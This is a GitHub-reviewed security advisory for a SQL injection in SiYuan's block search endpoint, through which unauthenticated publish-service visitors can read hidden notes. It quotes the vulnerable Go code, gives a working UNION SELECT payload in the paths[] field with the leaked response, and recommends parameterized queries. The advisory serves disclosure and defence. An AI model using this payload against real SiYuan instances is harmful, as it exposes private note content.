OSV 1.4.0 · github-reviewed · 修改于 2026-09-02 22:16
发布时间
2026-09-02 22:16
GitHub 审查时间
2026-09-02 22:16
NVD 发布时间
2026-07-10 07:17
源文件
advisories/github-reviewed/2026/09/GHSA-h89q-4j2h-7h88/GHSA-h89q-4j2h-7h88.json
Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.
An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.
The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
Source: input/siyuan/kernel/api/search.go
paths[] is parsed into notebook IDs and paths without SQL escaping or validation:
path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
paths = append(paths, path)
}
Source: input/siyuan/kernel/api/search.go
Those values are then concatenated directly into SQL:
builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))
Source: input/siyuan/kernel/model/search.go
Regexp search executes the resulting statement:
stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)
Source: input/siyuan/kernel/model/search.go
The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:
for _, block := range blocks {
passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
}
Source: input/siyuan/kernel/model/publish_access.go
paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.box and path.POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json
{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
]
}
VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.
Setup:
b3log/siyuan:latest with an isolated temporary workspace.public apple marker.SECRET-LIVE-SQLI-20260609 apple marker.POST /api/filetree/setPublishAccess.POST /api/setting/setPublish.Control request through the publish service for the hidden marker returned no blocks:
{
"code": 0,
"msg": "",
"data": {
"blocks": [],
"docMode": false,
"matchedBlockCount": 1,
"matchedRootCount": 1,
"pageCount": 1
}
}
The injected request through the publish service returned the hidden block:
{
"code": 0,
"msg": "",
"data": {
"blocks": [
{
"box": "20260609095146-19hud1e",
"path": "/20260609095209-1ljs6o7.sy",
"hPath": "/HiddenDoc",
"id": "20260609095209-gttlrue",
"rootID": "20260609095209-yaz7i3h",
"parentID": "20260609095209-yaz7i3h",
"content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
"markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
"type": "NodeParagraph"
}
],
"docMode": false,
"matchedBlockCount": 0,
"matchedRootCount": 0,
"pageCount": 0
}
}
The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.
An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.
Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:
box = ?
path LIKE ?
Then pass the user-controlled notebook ID and path prefix as query arguments.
Additional hardening:
.sy path format.paths[] contains SQL metacharacters such as ', ), UNION, and --.